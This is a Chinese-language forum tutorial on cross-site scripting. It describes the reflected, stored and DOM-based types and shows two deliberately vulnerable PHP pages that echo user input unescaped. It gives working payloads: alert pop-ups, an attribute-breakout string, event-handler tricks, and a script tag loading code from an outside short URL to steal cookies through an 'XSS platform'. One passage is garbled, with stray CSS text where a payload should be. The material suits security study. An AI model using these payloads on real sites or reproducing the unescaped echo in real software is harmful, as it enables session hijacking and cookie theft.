本帖最后由 yun 于 2017-4-30 22:27 编辑
XSS跨站脚本攻击的分类 一、 反射型XSS跨站脚本攻击 二、 存储型XSS跨站脚本攻击 三、 基于DOM的XSS跨站脚本攻击
1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经过数据库 3.基于DOM型的XSS 不经过后端,DOM—based XSS漏洞是基于文档对象模型(即Document Objeet Model缩写为:DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。DOM 定义了访问 HTML 和 XML 文档的标准:
案例一: - <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>XSS原理重现</title>
- </head>
- <body>
- <form action="" method="get">
- <input type="text" size="50" name="xss_input">
- <input type="submit">
- </form>
- <hr>
- <?php
- $xss = $_GET['xss_input'];
- echo '你输入的字符为:
- '.$xss;
- ?>
- </body>
- </html>
复制代码输入payload: <script>alert('xss')</script>
仅仅是弹窗? <script>alert(document.cooki)</script> //可以打印COOKIE <script src=https://is.gd/86Zg1z></script> //结合XSS平台打COOKIE
案例二: - <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <title>XSS利用输出的环境来构造代码</title>
- </head>
- <body>
- <center>
- <h6>把我们输入的字符串 输出到input里的value属性里</h6>
- <form action="" method="get">
- <h6>请输入你想显现的字符串</h6>
- <input type="text" name="xss_input_value" value="输入">
- <input type="submit">
- </form>
- <hr>
- <?php
- $xss = $_GET['xss_input_value'];
- if(isset($xss)){
- echo '<input type="text" value="'.$xss.'">';
- }else{
- echo '<input type="type" value="输出">';
- }
- ?>
- </center>
- </body>
- </html>
复制代码在输入处输入aa以后看源码:
然后写出绕过payload "><script>alert('xss')</script>
后来看文章发现这个也可以: "margin: 10px auto; color: rgb(0, 0, 0); font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;">039是单引号的ASCII值.在其前面加&#即可.也是可以弹窗。注:需要触发。
需要触发肯定很麻烦,这个时候我们可以换一些别的事件。 Onmousemove 当鼠标移动就触发 Onload 当页面加载完成后触发
|